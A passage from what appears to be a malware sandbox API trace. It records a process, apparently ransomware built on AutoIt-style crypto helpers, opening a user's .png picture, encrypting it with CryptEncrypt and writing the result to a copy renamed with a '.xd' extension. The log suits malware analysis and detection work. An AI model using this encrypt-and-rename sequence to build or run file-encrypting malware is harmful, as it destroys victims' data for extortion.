wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.403] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.403] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.403] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.404] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.404] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.404] CryptDestroyHash (hHash=0x164c370) returned 1 [0061.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.404] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\coafdivzkrsqai.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.404] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.404] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.404] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.404] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp")) returned 0x10 [0061.405] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\COAFdivZkrsQAI.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\coafdivzkrsqai.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.405] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.406] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.406] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.406] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.407] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.407] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0061.409] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x36f, lpOverlapped=0x0) returned 1 [0061.409] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.412] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.412] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.412] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.412] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.413] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.413] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.413] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.413] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.413] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.413] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.413] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.413] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.413] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.413] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.413] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.413] CryptGetKeyParam (in: hKey=0x164c530, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.413] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.413] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.414] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.414] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.414] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.414] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.414] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.414] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.414] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.414] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621660, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.415] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.415] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1036f, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x10370) returned 1 [0061.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.415] CharLowerBuffW (in: lpsz="byte[66417]", cchLength=0xb | out: lpsz="byte[66417]") returned 0xb [0061.415] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.416] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.416] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.417] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ba0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.417] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.417] CryptEncrypt (in: hKey=0x164c530, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17d0b18*, pdwDataLen=0x130e618*=0x1036f, dwBufLen=0x10370 | out: pbData=0x17d0b18*, pdwDataLen=0x130e618*=0x10370) returned 1 [0061.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.417] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.418] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.418] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.418] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.418] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.418] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.418] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.418] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.418] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.418] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.418] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.418] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.421] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.421] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.421] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.421] WriteFile (in: hFile=0x3bc, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x10370, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x10370, lpOverlapped=0x0) returned 1 [0061.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.423] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.423] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.423] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.423] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.423] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.423] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.423] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.423] CryptDestroyKey (hKey=0x164c530) returned 1 [0061.423] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.424] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.424] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.424] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.424] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.424] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.424] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.424] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.424] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.424] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.424] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.424] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.425] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.425] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.425] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.425] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.425] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.425] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.425] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.425] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.425] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.425] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.425] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.425] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.425] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.425] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | 